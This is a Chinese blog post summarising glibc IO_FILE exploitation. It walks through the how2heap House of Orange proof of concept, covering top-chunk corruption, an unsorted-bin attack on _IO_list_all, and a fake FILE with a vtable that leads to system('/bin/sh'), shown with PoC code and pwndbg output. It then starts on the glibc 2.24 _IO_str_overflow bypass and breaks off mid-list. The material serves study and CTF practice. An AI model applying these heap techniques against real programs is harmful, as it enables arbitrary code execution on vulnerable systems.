IO_FILE利用总结

一直很想写一篇IO_FILE的利用总结,虽然写的有点晚了,希望写这一篇总结可以对IO_FILE有一个深入的了解吧…

文件结构

在libc中,文件结构由一个叫_IO_FILE_plus的结构体维护,它包含一个_IO_FILE结构体和一个指向函数跳转表的指针。从注释我们也可以知道,vtable指向的函数跳转表是为了与C++的streambuf兼容,当程序对某个流进行操作时,会对应调用函数调用表中对应的函数。

1
2
3
4
5
6
7
8
9
10
11
//glibc-2.23 ./libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

_IO_FILE结构体的具体成员如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//glibc-2.23 ./libio/libio.h
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这个函数跳转表由结构体_IO_jump_t维护,具体成员如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

程序所有的FILE结构会通过_IO_FILE结构体中的成员_chain链成一个链表,其头部为全局变量_IO_list_all。

HITCON 2016 house of orange

待补充

how2heap house of orange

题目概述

题目源码

编译及运行情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ gcc ./house_of_orange.c -o house_of_orange
$ ./house_of_orange
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./house_of_orange': malloc(): memory corruption: 0x00007f09b381c520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f09b34ce7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f09b34d913e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f09b34db184]
./house_of_orange[0x400788]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f09b3477830]
./house_of_orange[0x400589]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 528543 /home/ubuntu/Documents/how2heap/2.25/house_of_orange
00600000-00601000 r--p 00000000 08:01 528543 /home/ubuntu/Documents/how2heap/2.25/house_of_orange
00601000-00602000 rw-p 00001000 08:01 528543 /home/ubuntu/Documents/how2heap/2.25/house_of_orange
0109b000-010de000 rw-p 00000000 00:00 0 [heap]
7f09ac000000-7f09ac021000 rw-p 00000000 00:00 0
7f09ac021000-7f09b0000000 ---p 00000000 00:00 0
7f09b3241000-7f09b3257000 r-xp 00000000 08:01 136299 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f09b3257000-7f09b3456000 ---p 00016000 08:01 136299 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f09b3456000-7f09b3457000 rw-p 00015000 08:01 136299 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f09b3457000-7f09b3617000 r-xp 00000000 08:01 131159 /lib/x86_64-linux-gnu/libc-2.23.so
7f09b3617000-7f09b3817000 ---p 001c0000 08:01 131159 /lib/x86_64-linux-gnu/libc-2.23.so
7f09b3817000-7f09b381b000 r--p 001c0000 08:01 131159 /lib/x86_64-linux-gnu/libc-2.23.so
7f09b381b000-7f09b381d000 rw-p 001c4000 08:01 131159 /lib/x86_64-linux-gnu/libc-2.23.so
7f09b381d000-7f09b3821000 rw-p 00000000 00:00 0
7f09b3821000-7f09b3847000 r-xp 00000000 08:01 131157 /lib/x86_64-linux-gnu/ld-2.23.so
7f09b3a2a000-7f09b3a2d000 rw-p 00000000 00:00 0
7f09b3a45000-7f09b3a46000 rw-p 00000000 00:00 0
7f09b3a46000-7f09b3a47000 r--p 00025000 08:01 131157 /lib/x86_64-linux-gnu/ld-2.23.so
7f09b3a47000-7f09b3a48000 rw-p 00026000 08:01 131157 /lib/x86_64-linux-gnu/ld-2.23.so
7f09b3a48000-7f09b3a49000 rw-p 00000000 00:00 0
7ffd6392a000-7ffd6394b000 rw-p 00000000 00:00 0 [stack]
7ffd639a3000-7ffd639a5000 r--p 00000000 00:00 0 [vvar]
7ffd639a5000-7ffd639a7000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
$ whoami
ubuntu

利用过程分析

House of orange假设堆上存在一个缓冲区溢出,top chunk可以被破坏。初始时通常top chunk的大小为0x21000,随着堆的不断分配,top chunk逐渐变小,当top chunk的大小小于请求分配的大小时,会有两种可能性,一是以brk的形式扩展top chunk,二是使用mmap创建独立的的page。但如果申请的chunk大小小于mmap_threshold时,会进行top chunk的扩展,mmap_threshold是128KB。

首先申请一个大小为0x400的chunk p1,,从top chunk中分配了0x400,此时top chunk的大小和prev_inuse位组合为0x20c01。

1
p1 = malloc(0x400-16); //0x400
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x401,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x602400 PREV_INUSE { #top chunk
prev_size = 0x0,
size = 0x20c01,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}

将top chunk的大小由0x20c01改为0xc01。

1
2
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x602000  #chunk p1
0x602000: 0x0000000000000000 0x0000000000000401
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x602400 #top chunk
0x602400: 0x0000000000000000 0x0000000000000c01
0x602410: 0x0000000000000000 0x0000000000000000
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000

对于伪造top chunk的大小有一些要求:

1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

堆的边界必须是页面对齐的,因为top chunk是堆上的最后一个块,所以它必须在末尾进行页面对齐。另外,如果要释放与top chunk相邻的chunk,则该chunk会与top chunk合并,因此top chunk的PREV_INUSE必须为1,所以总结来说,top chunk的大小有以下要求。

1
2
3
size要大于MINSIZE(0x20
top chunk的prev_inuse位必须为1
top chunk + size必须页面对齐(一般内存页的大小为4KB)

当我们请求一个大于top chunk但又小于mmap_threshold的chunk时,会强制调用sysmalloc,最终调用_int_free。

1
p2 = malloc(0x1000);
1
2
3
4
5
//glibc-2.25 ./malloc/malloc.c
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);
}

malloc会分配另外一个page作为新的top chunk,新的top chunk与原来的top chunk相邻,原来的top chunk会进入unsorted bin中。原来堆的大小:

1

top chunk扩展之后:

2

原来的top chunk进入unsorted bin中,原来的top chunk大小为0x21000,从0x623000进行top chunk的扩展,与原来的top chunk相邻,在新的top chunk中分配0x1000,即chunk p1。

1
2
3
4
5
6
7
8
9
10
pwndbg> x /8gx 0x623000  #chunk p1
0x623000: 0x0000000000000000 0x0000000000001011
0x623010: 0x0000000000000000 0x0000000000000000
0x623020: 0x0000000000000000 0x0000000000000000
0x623030: 0x0000000000000000 0x0000000000000000
pwndbg> x /8gx 0x624010 #新的top chunk
0x624010: 0x0000000000000000 0x0000000000020ff1
0x624020: 0x0000000000000000 0x0000000000000000
0x624030: 0x0000000000000000 0x0000000000000000
0x624040: 0x0000000000000000 0x0000000000000000

下面开始第二阶段的利用,这里利用的是每当触发_IO_flush_all_lockp时,_IO_flush_all_lockp刷新所有的文件指针,即遍历_IO_list_all链中的每一项,分别调用_IO_OVERFLOW。所以这个POC的想法是使用伪文件指针覆盖_IO_list_all链中的文件指针,该fake FILE的_IO_OVERFLOW指向system,该FILE结构的前8个字节设置为“/bin/sh”,所以当调用_IO_OVERFLOW(fp, EOF)其实是调用system(“/bin/sh”)。这是第二阶段的思路。libc触发_IO_flush_all_lockp有以下三种情况:

1
2
3
libc触发abort时
执行exit函数时
程序执行流从main函数返回时

首先需要修改_IO_list_all中的内容,伪造一个fake _IO_FILE,这里利用UnsortedBin Attack将_IO_list_all的值修改为main_arena+0x58,然后在main_arena中构造fake _IO_FILE。假设有一个上文中的溢出可以修改top chunk,在第二阶段中再次使用此溢出来覆盖释放到unsorted bin中的旧的top chunk的fd和bk指针,将bk指针修改为_IO_list_all-0x10,这样在后续试图分割unsortedbin中的free chunk来满足分配请求时,该free chunk->bk->fd会被覆盖到main_arena的地址空间中,也就是我们所说的UnsortedBin Attack。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//glibc-2.23 ./malloc/malloc.c      
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
//bck已经被我们修改,因此这里的条件不满足
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; //unsorted_chunks (av)->bk = _IO_list_all - 0x10
bck->fd = unsorted_chunks (av); //_IO_list_all - 0x10 + 0x10 = unsorted_chunks (av)
...
1
2
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;

覆盖之前该chunk的fd和bk指针的状态是指向main_arena,_IO_list_all中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x /8gx 0x602400  #old top chunk
0x602400: 0x0000000000000000 0x0000000000000be1
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
pwndbg> x /8gx 0x7ffff7dd2520
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3

覆盖之后,_IO_list_all的值修改为main_arena+0x58。

1
2
3
4
5
6
7
8
9
pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
pwndbg> x /8gx 0x7ffff7dd2520
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000
0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25c3
0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>

在执行_IO_flush_all_lockp时,会通过_IO_FILE结构体的_chain成员寻找下一个_IO_FILE,如果_IO_list_all的值修改为main_arena+0x58时,_chain成员偏移位置恰好在smallbin[4]的头部。如果将旧的top chunk的大小修改为0x61(prev_inuse位必须为1),当请求分配一个较小的分配时,unsorted bin中的chunk会进入对应大小的bin中,在64位系统中,0x60恰好是smallbin[4],前面依次是0x20、0x30、0x40、0x50。而smallbin[4]中是空的,因此旧的top chunk将在smallbin[4]的头部。也就进入以_IO_list_all为头部的_IO_FILE链中。
所以要修改旧的top chunk的大小为0x61,并在旧的top chunk中伪造_IO_FILE结构,参考_IO_flush_all_lockp源码,想要调用_IO_OVERFLOW (fp, EOF),_IO_FILE需要满足几个条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//glibc-2.23 ./libio/genops.c
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; //寻找下一个_IO_FILE
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

根据libc中的_IO_flush_all_lockp实现可以知道需要满足以下条件:

1
2
3
4
5
6
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
//or
_IO_vtable_offset (fp) == 0
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

在POC中是选择满足了第一种条件:

1
2
3
4
5
6
top[1] = 0x61;  //修改top chunk的size域为0x61。
//Set mode to 0: fp->_mode <= 0
fp->_mode = 0; // top+0xc0
//Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

接下来考虑如何将fake _IO_FILE的_IO_OVERFLOW指向system,首先fake FILE的前8个字节是”/bin/sh”:

1
memcpy( ( char *) top, "/bin/sh\x00", 8);

考虑_IO_flush_all_lockp是如何找到_IO_FILE的_IO_OVERFLOW的呢?在前面文件结构的介绍可知是通过虚表指针vtable,vtable的地址位于_IO_FILE之后,也就是base_address+sizeof(_IO_FILE) = jump_table,在libc2.23中,32位vtable在_IO_FILE_plus结构体的偏移是0x94,64位偏移是0xd8。其中,_IO_OVERFLOW函数指针在结构体_IO_jump_t中偏移为0x18,下标为3。在POC中是这样构造的,将_IO_OVERFLOW指针指向winner函数,winner函数中调用了system函数。

1
2
3
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

最后申请堆内存触发chunks进入对应的bins,旧的top chunk进入smallbin[4]中,我们伪造的fake _IO_FILE进入_IO_list_all中。

1
malloc(10);

在main_arena+0x58处伪造的_IO_list_all如下所示,_chain中指向下一个_IO_FILE,也就是我们在旧的top chunk中伪造的fake _IO_FILE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p (*(struct _IO_FILE_plus*) 0x7ffff7dd1b78)  #main_arena+0x58
$4 = {
file = {
_flags = 6438928,
_IO_read_ptr = 0x0,
_IO_read_end = 0x602400 "/bin/sh",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_markers = 0x602400,
_chain = 0x602400, #old top chunk
_fileno = -136504360,
_flags2 = 32767,
_old_offset = 140737351850968,
_cur_column = 7144,
_vtable_offset = -35 '\335',
_shortbuf = <incomplete sequence \367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 140737351851000,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 140737351851032,
_mode = -136504280,
_unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335"...
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}

在旧的top chunk中伪造的_IO_FILE结构如下所示,续表指针指向0x602460。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p (*(struct _IO_FILE_plus*) 0x602400)
$5 = {
file = {
_flags = 1852400175, #0x6e69622f /bin/sh
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196239,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x602460 #jump table
}

在0x602460处的函数跳转表中,第三项为_IO_OVERFLOW函数指针,指向winner函数,调用winner(“/bin/sh”)相当于调用system(“/bin/sh”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p (*(struct _IO_jump_t *)0x602460)
$6 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x40078f <winner>, #winner("/bin/sh")调用system("/bin/sh")
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x602460,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

libc2.24中的利用方式

在libc2.24中加入对vtable虚表指针的检查,函数IO_validate_vtable会检查vtable指针是否在合法的地址上,即是否在__libc_IO_vtables段中,如果不在合法的段中,会调用_IO_vtable_check()进行下一步的检查。如果不能通过检查就会引发abort。这使得上面修改vtable虚表指针的利用方式不再可行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//glibc-2.24 ./libio/libioP.h
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//glibc-2.24 /libio/vtables.c
void attribute_hidden _IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

虽然不能在__libc_IO_vtables段外伪造虚表指针,但是可以利用其他的不在检查范围内的虚表,正如很多大佬的博客中写的那样,利用_IO_str_jumps。

_IO_str_overflow

我这里调试的是CTF-WIKI中修改后的house of orange,首先是利用_IO_str_jumps->_IO_str_overflow。
首先看一下_IO_str_jumps的结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//glibc-2.24 /libio/strops.c
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

//glibc-2.24 /libio/libioP.h
#define JUMP_INIT(NAME, VALUE) VALUE
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)

在函数_IO_str_overflow可以伪造劫持控制流:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//glibc-2.24 /libio/strops.c
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES) //pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ //pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100; //这里写上"/bin/sh"
if (new_size < old_blen) //pass
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //这里写上system的地址
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

涉及到的结构及变量有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//glibc-2.24 ./libio/strfile.h
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

//glibc-2.24 ./libio/libioP.h
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

需要满足的条件有:

1
2
3
4
5
1.fp->_flags & _IO_NO_WRITES为假
2.pos >= (_IO_size_t) (_IO_blen (fp) + flush_only为真,即(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= fp->_IO_buf_end - fp->_IO_buf_base + flush_only
3.fp->_flags & _IO_USER_BUF为假
4._IO_size_t new_size = 2 * old_blen + 100 指向"/bin/sh"
